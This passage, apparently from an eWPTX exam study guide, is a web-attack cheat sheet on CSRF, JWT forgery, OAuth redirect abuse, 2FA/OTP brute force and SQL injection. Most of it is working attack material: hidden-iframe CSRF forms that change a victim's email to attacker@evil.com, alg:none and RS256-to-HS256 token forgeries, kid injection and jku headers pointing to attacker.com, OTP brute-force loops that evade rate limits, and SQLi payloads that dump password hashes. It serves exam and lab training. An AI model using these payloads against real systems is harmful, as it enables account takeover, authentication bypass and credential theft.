  -d 'new_password=Pwned123&confirm_password=Pwned123'   # token parameter deliberately absent

Token-bypass techniques, in the order to try them:

Exploitation HTML — auto-submitting POST form (works cross-origin, no CORS restriction on form submission):

<!-- Password reset CSRF: victim need only load this page while authenticated -->
<html>
  <body onload="document.forms[0].submit()">
    <form action="http://target/process_change_password.php?id=1" method="POST">
      <input type="hidden" name="new_password"     value="Pwned123">
      <input type="hidden" name="confirm_password" value="Pwned123">
    </form>
  </body>
</html>

<!-- Stealth version: hide the form inside a 0x0 iframe so nothing is visible to the victim -->
<iframe style="display:none" name="sink"></iframe>
<form action="http://target/account/email" method="POST" target="sink" id="f">
  <input type="hidden" name="email" value="attacker@evil.com">
</form>
<script>document.getElementById('f').submit();</script>

<!-- GET-based CSRF: no form needed at all -->
<img src="http://target/transfer?to=attacker&amount=1000" width="0" height="0">

<!-- JSON endpoint CSRF: text/plain keeps it a "simple request" (no CORS preflight).
     Works only if the server ignores the Content-Type when parsing the body. -->
<form action="http://target/api/user" method="POST" enctype="text/plain">
  <input name='{"email":"attacker@evil.com","ignore":"' value='"}'>
</form>
<script>document.forms[0].submit();</script>

# Host the PoC so the "victim" browser can load it from a different origin
python3 -m http.server 80        # then browse to http://ATTACKER/csrf.html while logged in

Delivery for the exam lab: save the PoC as csrf.html, serve it, log in as the victim account in a second browser/profile, load the PoC, then verify the change (log out, log back in with the new password).

Exam tips

• First thing to try: Burp's Engagement tools → Generate CSRF PoC on the target request — it builds the HTML for you, including multipart and JSON shapes.
• Common trap: testing CSRF while logged in as the attacker in the same browser and calling it proof. The victim's session must be the one that carries the request. Use two browser profiles. Second trap: leaving Submit buttons and visible output in the PoC — strip them for a realistic write-up.
• What proves the finding: the victim's account state actually changed (new password works, email is now the attacker's) after the victim merely loaded an attacker-hosted page.

2.15 Token-Based Authentication

Concept: instead of the server holding session state, it issues a token that carries the state. Scales horizontally, works across domains, suits APIs and SPAs — and moves the trust boundary onto the token's integrity.

Token placement — where to look, and what each implies:

# Harvest tokens from the wire regardless of placement
grep -ioE '(eyJ[A-Za-z0-9_-]+\.){2}[A-Za-z0-9_-]+' burp_history.txt     # JWTs anywhere

# Check whether an API accepts the token in a weaker placement than intended
curl -si "http://target/api/profile?access_token=$TOKEN"          # query param accepted?
curl -si http://target/api/profile -H "X-Auth-Token: $TOKEN"      # alternate header accepted?
curl -si http://target/api/profile -H "Cookie: token=$TOKEN"      # cookie accepted?

Exam tips

• First thing to try: find where the token rides, then try every other placement. Accepting the token in a query string is a finding on its own.
• Common trap: assuming a long opaque string is a JWT. Only xxx.yyy.zzz with base64url segments is a JWT — decode the first segment to confirm {"alg":...,"typ":"JWT"}.
• What proves the finding: the protected resource returned for a token supplied in an insecure location, or for a token that should have expired.

2.16 JWT Structure & Claims

Format: base64url(header) . base64url(payload) . base64url(signature)

Order matters: the signature is computed over header.payload, so any change to either invalidates it — if the server checks.

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxIiwibmFtZSI6IkFsaWNlIiwiYWRtaW4iOnRydWV9.dBjftJeZ4CVP...
└────────── header ──────────┘ └──────────── payload ─────────────┘ └── signature ──┘

Header parameters — each is an attack surface:

Algorithms:

Registered claims (payload):

Public claims (developer-defined, must not collide with registered names): role, email, permissions, groups, scope, admin. Private claims (agreed between two parties): department, cart_id, tenant, flag.

The payload is base64url-encoded, not encrypted. Anything placed there is readable by anyone holding the token — this is the "exposed claims" class of finding: passwords, API keys, PII, internal hostnames, flags.

# Decode header and payload from the shell. tr converts base64url -> base64;
# the appended '==' supplies padding that base64url strips (extra padding is ignored).
JWT='eyJhbGciOiJIUzI1NiJ9.eyJpZCI6Miwicm9sZSI6InVzZXIifQ.sig'
echo -n "$JWT" | cut -d. -f1 | tr '_-' '/+' | base64 -d 2>/dev/null; echo
echo -n "$JWT" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null; echo

# Pretty-print the payload
echo -n "$JWT" | cut -d. -f2 | tr '_-' '/+' | base64 -d 2>/dev/null | jq .

# jwt_tool: decode and display every claim with timestamps humanised
python3 jwt_tool.py "$JWT"

# jwt.io — paste the token into "Encoded"; header, payload and signature-verification
# status are shown live. "Invalid Signature" is expected and fine when you are only
# verifying that your forged header/payload decode correctly.
# Do not paste real production tokens into a third-party site.

# Burp: JSON Web Tokens / JWT Editor extension (BApp Store) adds a "JSON Web Token"
# tab to Repeater, decoding and re-encoding the token in place as you edit it.

Exam tips

• First thing to try: decode the payload immediately and read every claim. The lab answer is sometimes literally sitting in a flag claim (exposed-claims lab).
• Common trap: base64 -d erroring with "invalid input" on a JWT segment. That is base64url padding, not a broken token — tr '_-' '/+' and add ==, or use jwt_tool/jwt.io.
• What proves the finding: the decoded payload itself for exposed claims; for forgery, a server response accepting a token you signed or unsigned.

2.17 JWT Attacks

Run these in order — cheapest and most likely first.

2.17.1 alg: none (unsigned token accepted)

Why it works: the none algorithm exists in the spec for tokens whose integrity is guaranteed elsewhere. Libraries that honour the token's own alg header will therefore skip signature verification when told to. The server's own tokens may be perfectly signed with HS256 — that does not mean it rejects none on input. That is precisely the test.

# 1. Obtain a legitimate token
curl -s -H 'Content-Type: application/json' -X POST \
  -d '{"identifier":"elliot","password":"ElliotAlderson"}' \
  http://10.0.0.3:1337/auth/local | jq -r .jwt

# 2. Forge the header with alg=none, base64url-encode, strip '=' padding
echo -n '{"typ":"JWT","alg":"none"}' | base64 -w0 | tr '+/' '-_' | tr -d '='

# 3. Forge the payload — here escalating the user id to the admin account (id 1)
echo -n '{"id":1,"iat":1735000000,"exp":1799999999}' | base64 -w0 | tr '+/' '-_' | tr -d '='

# 4. Assemble as header.payload.  The TRAILING DOT IS MANDATORY — three parts, empty third.
FORGED="$HEADER.$PAYLOAD."

# 5. Replay against a privileged endpoint (here: create an admin user)
curl -s -X POST http://10.0.0.3:1337/users \
  -H 'Content-Type: application/json' \
  -H "Authorization: Bearer $FORGED" \
  -d '{"username":"test","email":"test@test.com","password":"password","role":1}' | jq .

# jwt_tool one-liner for the same attack (-X a = alg:none exploit, emits all case variants)
python3 jwt_tool.py "$JWT" -X a

Also try the case variants — filters that blacklist the literal string none often miss them: None, NONE, nOnE. And try an empty signature with the original alg (-X n in jwt_tool), which catches libraries that verify only when a signature is present.

2.17.2 Algorithm confusion (RS256 → HS256)

Why it works: the server holds an RSA key pair and calls a generic verify(token, key). If you change alg to HS256, that same function now treats the RSA public key as an HMAC secret. The public key is published — so you can produce a valid HMAC signature the server will accept.

# 1. Obtain the public key. From a JWKS endpoint:
curl -s http://target/.well-known/jwks.json | jq .
curl -s http://target/jwks.json -o jwks.json

# 2. ...or straight off the TLS certificate
openssl s_client -connect target:443 </dev/null 2>/dev/null \
  | openssl x509 -pubkey -noout > public.pem

# 3. Forge with jwt_tool: -X k performs key confusion using the supplied public key
python3 jwt_tool.py "$JWT" -X k -pk public.pem

# 4. Manual route: HMAC-sign header.payload using the RAW BYTES of the public key file as the key
HEADER=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
PAYLOAD=$(echo -n '{"sub":"admin","role":"admin"}' | base64 -w0 | tr '+/' '-_' | tr -d '=')
SIG=$(echo -n "$HEADER.$PAYLOAD" \
  | openssl dgst -sha256 -mac HMAC -macopt hexkey:$(xxd -p public.pem | tr -d '\n') -binary \
  | base64 -w0 | tr '+/' '-_' | tr -d '=')
echo "$HEADER.$PAYLOAD.$SIG"

Gotcha: the exact byte representation of the key matters (PEM with/without trailing newline, DER, X.509 SPKI vs PKCS#1). If the first attempt fails, retry with the variants — jwt_tool generates several automatically.

2.17.3 Weak secret cracking (HS256)

Why it works: HMAC security is entirely the secret's entropy. Developers ship secret, changeme, the framework default, or a short passphrase.

# hashcat mode 16500 = JWT (HMAC-SHA256/384/512). Feed the whole token.
echo "$JWT" > jwt.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt
hashcat -a 0 -m 16500 jwt.txt jwt-secrets.txt --show      # display a previously cracked result

# jwt_tool dictionary attack against the signature
python3 jwt_tool.py "$JWT" -C -d /usr/share/wordlists/rockyou.txt

# Re-sign with the recovered secret and a tampered payload
python3 jwt_tool.py "$JWT" -T -S hs256 -p 'secret'
# -T tamper mode prompts for claim edits; -S sets the algorithm; -p supplies the key

# Targeted wordlist of common JWT secrets
git clone https://github.com/wallarm/jwt-secrets /tmp/jwt-secrets
hashcat -a 0 -m 16500 jwt.txt /tmp/jwt-secrets/jwt.secrets.list

2.17.4 kid injection

Why it works: kid is an unvalidated string the server uses to locate a key — as a filename, a DB lookup, or worse.

{"alg":"HS256","typ":"JWT","kid":"../../../../../dev/null"}

Signing key becomes the contents of /dev/null = empty string.
Sign the token with an EMPTY secret and the server verifies it successfully.

{"alg":"HS256","typ":"JWT","kid":"/proc/sys/kernel/randomize_va_space"}

A file with known, static, single-byte content ("2\n") used as the HMAC secret.

{"alg":"HS256","typ":"JWT","kid":"nonexistent' UNION SELECT 'attackerkey'-- "}

SQL injection into the key lookup returns a key value you chose; sign with 'attackerkey'.

# jwt_tool: tamper mode lets you edit header claims (kid) interactively, then sign
python3 jwt_tool.py "$JWT" -T
# Choose to modify header claims -> set kid -> then select signing with your chosen key

2.17.5 jwk / jku header injection (self-signed keys)

jwk — embed your own public key in the token. Servers that trust the embedded key verify your self-signed token.

{"alg":"RS256","typ":"JWT","jwk":{"kty":"RSA","e":"AQAB","n":"<your-modulus>","kid":"attacker"}}

# jwt_tool -X i injects a self-generated inline JWKS and signs with the matching private key
python3 jwt_tool.py "$JWT" -X i

jku — point the server at a JWKS you host.

{"alg":"RS256","typ":"JWT","kid":"attacker","jku":"https://attacker.com/jwks.json"}

# jwt_tool -X s spoofs a JWKS; -ju gives the URL where you will host the generated jwks.json
python3 jwt_tool.py "$JWT" -X s -ju https://attacker.com/jwks.json
python3 -m http.server 443   # serve the generated jwks.json from that URL

Bypassing a jku allow-list (server only accepts its own domain): chain an open redirect or SSRF — jku": "https://target.com/redirect?url=https://attacker.com/jwks.json" — and try the same host-confusion payloads listed in 2.18.

2.17.6 Claim tampering & other checks

# Escalate role / identity, then re-sign (alg:none, cracked secret, or confusion)
python3 jwt_tool.py "$JWT" -I -pc role -pv admin          # -I inject; -pc claim; -pv value
python3 jwt_tool.py "$JWT" -I -pc sub  -pv 1
python3 jwt_tool.py "$JWT" -I -pc exp  -pv 2000000000     # extend expiry far into the future
python3 jwt_tool.py "$JWT" -I -hc kid  -hv '../../dev/null'   # -hc/-hv edit HEADER claims

# Full automated scan of every known JWT weakness against a live endpoint
python3 jwt_tool.py -t http://target/api/profile -rh "Authorization: Bearer $JWT" -M at
# -t target URL, -rh request header to inject the token into, -M at = run All Tests

# Is exp enforced at all? Replay an expired token.
python3 jwt_tool.py "$JWT" -I -pc exp -pv 1000000000 -S hs256 -p 'secret'

Full JWT triage checklist:

Exam tips

• First thing to try: decode, then alg:none. Two minutes, and it is the single most common JWT flaw in training labs and APIs.
• Common trap: dropping the trailing dot when removing the signature. header.payload (two parts) is malformed and gets rejected for the wrong reason; header.payload. (three parts, empty third) is what you want. Second trap: concluding the server is safe because the tokens it issues use HS256 — you are testing what it accepts.
• What proves the finding: a privileged action (create user, read another account, retrieve a flag) performed with a token you constructed, plus the decoded forged payload showing the escalated claim.

2.18 OAuth 2.0 & SSO Attacks

Roles:

Grant types:

Parameters to know:

Attack 1 — redirect_uri manipulation. The auth server must match redirect_uri exactly against a registered value. Weak matching sends the code or token to you.

# Baseline request to tamper with:
https://idp.com/authorize?client_id=ABC&response_type=code&redirect_uri=https://app.com/callback&scope=profile&state=xyz

# Payloads, in order of likelihood:
redirect_uri=https://attacker.com                       # no validation at all
redirect_uri=https://app.com.attacker.com               # prefix match only
redirect_uri=https://attacker.com/app.com               # suffix/substring match
redirect_uri=https://app.com@attacker.com               # userinfo confusion
redirect_uri=https://attacker.com#.app.com              # fragment truncation
redirect_uri=https://attacker.com?x=.app.com            # query truncation
redirect_uri=https://app.com/callback/../../evil        # path traversal
redirect_uri=https://app.com/callback%2f%2e%2e%2fevil   # encoded traversal
redirect_uri=https://app.com/redirect?url=https://attacker.com   # chained open redirect
redirect_uri=http://localhost:1337/callback             # localhost often allow-listed
redirect_uri=https://app.com/callback&redirect_uri=https://attacker.com   # parameter pollution

# Harvest the leaked code/token on the attacker side
python3 -m http.server 80        # the callback lands in the access log: GET /?code=...

# Exchange a stolen authorization code for an access token
curl -s -X POST https://idp.com/token \
  -d 'grant_type=authorization_code' \
  -d 'code=<stolen-code>' \
  -d 'redirect_uri=https://app.com/callback' \
  -d 'client_id=ABC' -d 'client_secret=<if-public-or-known>'

Attack 2 — missing/unvalidated state (OAuth CSRF / forced account linking). Without state, the callback is just a URL the attacker can make the victim visit, binding the attacker's IdP account to the victim's application account.

# 1. Attacker starts an OAuth flow with their own IdP account and captures the callback URL,
#    stopping before it is delivered:
https://app.com/callback?code=ATTACKER_CODE

<!-- 2. Force the victim's authenticated browser to complete the attacker's flow -->
<img src="https://app.com/callback?code=ATTACKER_CODE" width="0" height="0">

# 3. The victim's app account is now linked to the attacker's Google/GitHub identity.
#    The attacker logs into the victim's account via "Sign in with Google".

Test for it by removing state entirely, by reusing a previously seen state value, and by supplying a state from a different session — if the flow completes, it is unvalidated.

Attack 3 — implicit flow token leakage. The token sits in the URL fragment, so it reaches the browser, its history, and any JavaScript on the page.

https://app.com/callback#access_token=eyJ...&token_type=bearer&expires_in=3600

Leak paths: browser history; Referer on subsequent navigations; any third-party JS on the
callback page reading location.hash; open redirect on the client that preserves the fragment.

# Downgrade test: does the auth server honour response_type=token when the client uses code?
curl -si "https://idp.com/authorize?client_id=ABC&response_type=token&redirect_uri=https://app.com/callback"

Other OAuth weaknesses to check (as enumerated in the course slide deck):

# Discover the IdP's configuration and endpoints
curl -s https://idp.com/.well-known/openid-configuration | jq .
curl -s https://idp.com/.well-known/oauth-authorization-server | jq .

# Hunt for client secrets left in front-end code
curl -s https://app.com/static/js/main.js | grep -iE 'client_secret|client_id|api[_-]?key'

SAML-based SSO (for completeness): the assertion is signed XML delivered as base64 in a SAMLResponse POST parameter. Test for signature exclusion (strip <ds:Signature>), XML signature wrapping (duplicate the assertion so the signed one is validated and the unsigned one is consumed), and comment injection in NameID (admin<!---->@evil.com). Burp's SAML Raider extension automates all three.

Exam tips

• First thing to try: copy the /authorize URL into Repeater and change redirect_uri to a host you control. If the auth server issues a 302 to your host, the flow is broken.
• Common trap: confusing the implicit flow's fragment (#access_token=) with a query parameter. A fragment never reaches the server, so server-side logs will not show it — you need JavaScript or the browser to capture it.
• What proves the finding: an authorization code or access_token arriving in your server's access log, and — better — that credential successfully exchanged for, or used against, the resource server.

2.19 2FA / OTP Attacks

2FA types and their weak points:

Testing methodology (run in this order):

1. Information gathering — which 2FA type; the enrolment, login and recovery flows; code length; validity window; whether the code is 4, 6 or 8 digits.
2. OTP strength — is it predictable, sequential, or derived from a timestamp? Request several codes and compare.
3. Expiry — does the code die after use? After N minutes? Reuse an old one.
4. Replay — capture a valid OTP and submit it a second time, and in a different part of the app (login vs. payment confirmation).
5. Rate limiting / lockout — brute force the code space; count how many attempts the endpoint tolerates.
6. Response manipulation — is verification decided client-side?
7. Flow manipulation — can the 2FA step simply be skipped?
8. Transport — is the OTP sent over an encrypted channel? Can it be intercepted?

Attack 1 — OTP brute force (no rate limit). A 4-digit OTP is 10,000 candidates; a 6-digit one is 1,000,000. If there is no rate limit and no expiry, the 4-digit space falls in minutes.

OWASP ZAP Fuzzer workflow (the lab's chosen tool — ZAP's fuzzer is NOT throttled,
unlike Burp Community's Intruder):

1. Manual Explore > browse the OTP page through ZAP's browser so the request is recorded
2. Sites tree > find POST /dev/verify > right-click > Attack > Fuzz...
3. Highlight the OTP parameter value > Add... (this becomes the fuzz location)
4. Payloads > Add > Type: Numberzz
     Start: 1000   End: 9999   Increment: 1
5. Message Processors > Add > Tag Creator
     Tag name: failed        Match regex: failed
6. Start Fuzzer
7. Sort/filter by the State column and by response-header Size.
   The one row WITHOUT the "failed" tag is the valid OTP.
   A successful verification also typically returns a NEW Set-Cookie (an
   authenticated session ID) — that header's presence is the real signal.

# ffuf equivalent for a 4-digit numeric OTP
seq -w 0000 9999 > otps.txt
ffuf -w otps.txt -u http://target/dev/verify -X POST \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "Cookie: session_id=<current>" \
  -d "session_id=<current>&otp=FUZZ" -fr "failed" -t 50

# 6-digit space; -rate throttles if you need to stay under a detected limit
seq -w 000000 999999 > otps6.txt
ffuf -w otps6.txt -u http://target/verify -X POST -d "code=FUZZ" -fr "Invalid" -rate 100

# Burp Intruder: Sniper on the OTP parameter, Payload type = Numbers,
#   From 0  To 9999  Step 1  Min integer digits 4  Max integer digits 4
#   (Min/Max integer digits preserve leading zeros — essential for OTPs.)
# Settings > Resource pool > raise "Maximum concurrent requests" (Pro only).

Attack 2 — rate-limit bypass. If a limit exists, the 2.7 toolkit applies directly: rotate X-Forwarded-For; request a fresh OTP every N attempts (the counter often resets with the new code); change case/format of the identifier; switch to the API endpoint; send attempts in a parallel burst to race the counter; null-byte or array the parameter (otp[]=0000).

# Reset-the-counter pattern: re-request the OTP every 5 guesses so the counter never trips
for i in $(seq 0 9999); do
  [ $((i % 5)) -eq 0 ] && curl -s -X POST http://target/send -d "phone=123456789" >/dev/null
  printf -v code '%04d' "$i"
  r=$(curl -s -X POST http://target/verify -d "otp=$code")
  case "$r" in *failed*) ;; *) echo "VALID OTP: $code"; break;; esac
done

Attack 3 — response manipulation. Verification decided by a value in the response body that the client then acts on.

# Intercept the RESPONSE (Burp > Proxy > Options > Intercept responses, or
# right-click the request > "Do intercept" > "Response to this request") and flip it:
{"status":"failed","verified":false}   ->   {"status":"success","verified":true}
HTTP/1.1 401 Unauthorized              ->   HTTP/1.1 200 OK
{"otp_valid":0}                        ->   {"otp_valid":1}

Attack 4 — 2FA step skipping / flow manipulation.

# After submitting valid credentials but BEFORE submitting the OTP, request the
# post-login resource directly. If it renders, the 2FA step is not enforced server-side.
curl -si http://target/dashboard -H "Cookie: session=<pre-2FA-session>"

# Other variants:
#  - Change the response's redirect target from /verify-otp to /dashboard
#  - Remove the otp parameter entirely from the verify request
#  - Submit the 2FA request for a DIFFERENT user id while holding your own session (IDOR)
#  - Complete 2FA once, then reuse the resulting "2fa_passed=true" cookie for other accounts

Attack 5 — OTP reuse & no expiry. Submit a code that was already consumed; submit a code issued 30+ minutes earlier; submit a code issued for a different action (login code used to confirm a transfer).

Attack 6 — predictable OTPs. Collect 20 codes and look for sequence, small deltas, or a timestamp relationship.

# Harvest codes (where the lab exposes them) and check for a pattern
for i in $(seq 1 20); do curl -s -X POST http://target/send -d 'phone=123456789'; done
# then inspect the delivered codes for monotonic increase or a constant delta

Exam tips

• First thing to try: count the digits. A 4-digit OTP with no observed rate limit is a fuzzing job, not a cleverness job — go straight to ZAP's Fuzzer or ffuf.
• Common trap: using Burp Community's Intruder for a 10,000-payload OTP attack. At ~1 request/second that is nearly three hours. Switch tools. Second trap: missing the success signal — a valid OTP often returns the same body length but adds a Set-Cookie header; watch the headers, not just the body.
• What proves the finding: an authenticated session (new Set-Cookie, dashboard content, flag) obtained after an automated OTP search, together with the attempt count demonstrating the absence of rate limiting.

2.20 Rapid Exam Checklist

Tooling reminders that cost people the exam: Burp Community throttles Intruder to ~1 req/s — use ZAP Fuzzer, ffuf, wfuzz or hydra for anything large. Sort Intruder results by Length first, status second. Always check the response headers (Set-Cookie, Location) and not only the body. Keep a running table of condition → result for every test (valid user/wrong pass/right CAPTCHA, etc.) — the differential is the finding.

3. SQL Injection

SQLi is the single highest-yield topic on the eWPTX exam. This section is ordered as an attack chain: detect → fingerprint DBMS → count columns → find reflected columns → enumerate schema → extract data → escalate to file read/write/RCE. Work top-to-bottom.

3.1 Fundamentals: What SQLi Is and Where It Occurs

SQL injection is an injection class vulnerability (OWASP Top 10 2017 = A1, 2021 = A03), not an input-validation class one. The DBMS is not the bug — the DBMS faithfully executes whatever the application hands it. The bug is at the point of concatenation in the application.

Three prerequisites for exploitable SQLi:

1. An application input exists (form field, URL param, header, cookie, JSON/XML body, file upload metadata).
2. That input reaches a SQL query (the app interacts with a database using it).
3. The input is concatenated into the query without parameterisation/sanitisation.

Canonical vulnerable pattern:

// Vulnerable: user input concatenated directly into the query string
$q = "SELECT * FROM users WHERE username='" . $_POST['user'] . "' AND password='" . $_POST['pass'] . "'";

Injecting admin' OR '1'='1'-- - into user yields:

-- Resulting query: password check is commented out, OR 1=1 is always true
SELECT * FROM users WHERE username='admin' OR '1'='1'-- -' AND password=''

3.1.1 String-based vs Integer-based injection

This distinction dictates every payload you write.

Detect which one you are in by observing the reflected query in error output, or by testing arithmetic: on an integer param, 2-1 returning the same page as 1 proves numeric evaluation. On a string param it will not.

3.1.2 Impact

Exam tips

• Always establish string vs integer before spraying payloads. Wrong quoting is the #1 reason a valid payload "fails".
• The DBMS runs as some account. Escalation to file read/RCE depends entirely on that account's privileges (FILE in MySQL, sysadmin in MSSQL, superuser in PostgreSQL) — check with --is-dba / --privileges early.
• Test one payload at a time. If you change two things you cannot attribute the result.

3.2 Types of SQL Injection

SQL Injection
├── In-band (same channel used for injection and for results)
│   ├── Error-based       → DBMS error message carries the data
│   └── Union-based       → UNION SELECT appends attacker rows to the visible result set
├── Inferential / Blind (no data returned; infer 1 bit at a time)
│   ├── Boolean-based     → page content differs between TRUE and FALSE conditions
│   └── Time-based        → response latency differs between TRUE and FALSE conditions
└── Out-of-Band (OOB)     → data exfiltrated over a second channel (DNS / HTTP / SMB)

Exam tips

• These are not mutually exclusive. One parameter is frequently vulnerable to boolean-blind and time-blind and union-based; sqlmap will report all of them. Pick the fastest one that works (union > error > boolean > time).
• "Blind" ≠ "the app shows nothing". It means the database result itself is not rendered. A blank page vs a populated page is still a perfectly good oracle.

3.3 Hunting for SQLi — Where to Look

Enumerate the attack surface first (spider/crawl with Burp or ZAP), classify every input, then test only the ones that plausibly touch a database.

Not every input touches the database. Do recon first — categorise inputs, then prioritise by likelihood of DB interaction (anything that looks up, searches, filters, sorts, authenticates, or stores).

Exam tips

• If the form has no visible parameter in the URL, it is a POST — intercept it. Never conclude "no injectable parameter" from the address bar.
• ORDER BY / sort= parameters are injectable but cannot be quoted-escaped in the same way — they sit outside a string literal. Use ORDER BY (CASE WHEN (1=1) THEN name ELSE id END) style or stack a boolean oracle.
• Header-based SQLi (especially User-Agent) is an explicitly covered exam scenario. If body/URL params are clean, escalate --level.

3.4 Manual Detection

Run this ladder on every candidate parameter, one payload at a time.

3.4.1 Step 1 — Break the syntax (special characters)

'              # single quote: terminates a string literal
"              # double quote
`              # MySQL identifier quote
')             # closes quote + paren
'))            # closes quote + two parens
\              # backslash: may escape the app's own escaping
;              # statement terminator
%27            # URL-encoded single quote

Any 500, stack trace, "database error", or changed page = candidate.

3.4.2 Step 2 — Prove it is SQL, not a crash (repair the syntax)

'              # breaks  -> error
''             # repairs -> page returns to normal   (strong SQLi signal)
'||'           # Oracle/PostgreSQL concat -> normal page
' 'x           # MySQL literal concatenation

3.4.3 Step 3 — Arithmetic (integer params)

# id=3 and id=4-1 return the same record => numeric context, injectable
/product?id=4-1
/product?id=2*2
/product?id=1+1

3.4.4 Step 4 — Boolean TRUE/FALSE pairs

The core of manual confirmation. Use AND for confirmation (both halves must hold, so a false half visibly changes the page) and OR for exploitation (forces rows to return).

# String context - TRUE / FALSE pair
x' AND '1'='1
x' AND '1'='2

# Integer context - TRUE / FALSE pair
1 AND 1=1
1 AND 1=2

# With comment terminator
1' AND 1=1-- -
1' AND 1=2-- -

# OR-based (returns everything / bypasses auth)
' OR 1=1-- -
' OR '1'='1'-- -
' OR 1=1#
admin'-- -
admin'#
' OR 'a'='a

AND 1=1 → normal page. AND 1=2 → blank/different page. That difference is your boolean oracle.

Note: OR 1=1 on a valid record proves nothing (the page was already true). Test OR 1=1 against a non-existent id — if you now get all rows, injection is confirmed.

3.4.5 Step 5 — Comment terminators

Always use -- - (dash dash space dash) rather than bare -- so the required trailing space is preserved through URL decoding.

3.4.6 Step 6 — ORDER BY (column count + injectability)

' ORDER BY 1-- -      # OK
' ORDER BY 2-- -      # OK
' ORDER BY 5-- -      # OK
' ORDER BY 6-- -      # ERROR  =>  the query returns exactly 5 columns

3.4.7 Step 7 — Time probe (when nothing else differs)

' AND SLEEP(5)-- -                                  # MySQL (see 3.10 for wrapping caveats)
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)-- -       # MySQL, works where bare SLEEP is optimised away
1; WAITFOR DELAY '0:0:5'-- -                        # MSSQL (stacked)
' AND (SELECT 1 FROM PG_SLEEP(5))IS NOT NULL-- -    # PostgreSQL
' AND 1=dbms_pipe.receive_message('a',5)-- -        # Oracle

3.4.8 Detection checklist

Exam tips

• URL-encode the payload once when injecting via the URL/proxy. Double-encoding usually breaks it — a very common time-sink.
• # vs -- -: if one fails, try the other before concluding the parameter is not injectable. In MySQL labs # frequently works where -- does not.
• A blank page is a result. Record what TRUE looks like and what FALSE looks like before you try to extract anything.

3.5 Identify the DBMS (Fingerprinting)

Do this before choosing payloads — every technique below is DBMS-specific.

3.5.1 By error message

3.5.2 By behaviour (inference probes)

3.5.3 Version strings

-- MySQL / MariaDB
SELECT VERSION();  SELECT @@version;  SELECT @@version_comment;  SELECT @@hostname;

-- PostgreSQL
SELECT version();  SHOW server_version;  SELECT current_setting('server_version');

-- Microsoft SQL Server
SELECT @@VERSION;  SELECT SERVERPROPERTY('productversion');  SELECT @@SERVERNAME;

-- Oracle
SELECT banner FROM v$version WHERE rownum=1;  SELECT version FROM v$instance;

-- SQLite
SELECT sqlite_version();

Exam tips

• @@version works on both MySQL and MSSQL — disambiguate with LEN() vs LENGTH() or with the comment style.
• Oracle requires a FROM clause: every bare SELECT becomes SELECT ... FROM dual. If your UNION payload errors on Oracle, you forgot FROM dual.
• SQLite has no users, no information_schema, and no sleep function — recognising it early saves 20 minutes.

3.6 Per-DBMS Payload Cheat Sheets

3.6.1 Master comparison table

3.6.2 Schema enumeration (information_schema equivalents)

-- ============ MySQL / MariaDB ============
SELECT schema_name FROM information_schema.schemata;                                  -- list databases
SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE();       -- tables in current DB
SELECT column_name FROM information_schema.columns WHERE table_name='users';          -- columns of a table
SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE();
SELECT GROUP_CONCAT(column_name,0x3a,data_type) FROM information_schema.columns WHERE table_name='users';
SELECT GROUP_CONCAT(user,0x3a,authentication_string) FROM mysql.user;                 -- password hashes (needs privs)

-- ============ PostgreSQL ============
SELECT datname FROM pg_database;                                                      -- list databases
SELECT table_name FROM information_schema.tables WHERE table_schema='public';         -- tables
SELECT tablename FROM pg_tables WHERE schemaname='public';                            -- tables (pg_catalog)
SELECT column_name FROM information_schema.columns WHERE table_name='users';          -- columns
SELECT string_agg(table_name,',') FROM information_schema.tables WHERE table_schema='public';
SELECT usename,passwd FROM pg_shadow;                                                 -- password hashes (superuser)

-- ============ Microsoft SQL Server ============
SELECT name FROM master..sysdatabases;                                                -- list databases
SELECT name FROM sys.databases;                                                       -- list databases
SELECT name FROM <db>..sysobjects WHERE xtype='U';                                    -- user tables
SELECT table_name FROM information_schema.tables;                                     -- tables
SELECT name FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users');  -- columns
SELECT column_name FROM information_schema.columns WHERE table_name='users';          -- columns
SELECT name,password_hash FROM sys.sql_logins;                                        -- hashes (sysadmin)

-- ============ Oracle ============
SELECT owner FROM all_tables GROUP BY owner;                                          -- "databases" == schemas/users
SELECT username FROM all_users;                                                       -- users
SELECT table_name FROM all_tables;                                                    -- all visible tables
SELECT table_name FROM user_tables;                                                   -- tables owned by current user
SELECT column_name FROM all_tab_columns WHERE table_name='USERS';                     -- columns (UPPERCASE names!)
SELECT LISTAGG(table_name,',') WITHIN GROUP (ORDER BY table_name) FROM user_tables;
SELECT name,password,spare4 FROM sys.user$;                                           -- hashes (privileged)

-- ============ SQLite ============
SELECT name FROM sqlite_master WHERE type='table';                                    -- tables
SELECT sql FROM sqlite_master WHERE type='table';                                     -- full CREATE TABLE (gives columns)
SELECT group_concat(name) FROM sqlite_master WHERE type='table';
PRAGMA table_info(users);                                                             -- columns (stacked/sql-shell only)

SQLite has no information_schema. The schema table is sqlite_master with columns type, name, tbl_name, rootpage, sql. Pulling the sql column gives you the complete CREATE TABLE statement — i.e. every column name in one shot.

Oracle object names in the data dictionary are UPPERCASE. WHERE table_name='users' returns nothing; use 'USERS' or UPPER(table_name)='USERS'.

3.6.3 Error-based payload templates

-- ===== MySQL 5.1 - 5.7 : EXTRACTVALUE (max 32 chars of output) =====
' AND extractvalue(1,CONCAT(0x7e,(SELECT @@version),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT database()),0x7e))-- -
' AND extractvalue(1,CONCAT(0x7e,(SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),0x7e))-- -

-- ===== MySQL 5.1 - 5.7 : UPDATEXML (max 32 chars of output) =====
' AND updatexml(1,CONCAT(0x7e,(SELECT user()),0x7e),1)-- -
' AND updatexml(NULL,CONCAT(0x3a,(SELECT password FROM users LIMIT 0,1)),NULL)-- -

-- ===== MySQL : double-query / duplicate entry (works 4.1+) =====
' AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((SELECT @@version),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -

-- ===== MySQL 5.5.5+ : EXP overflow =====
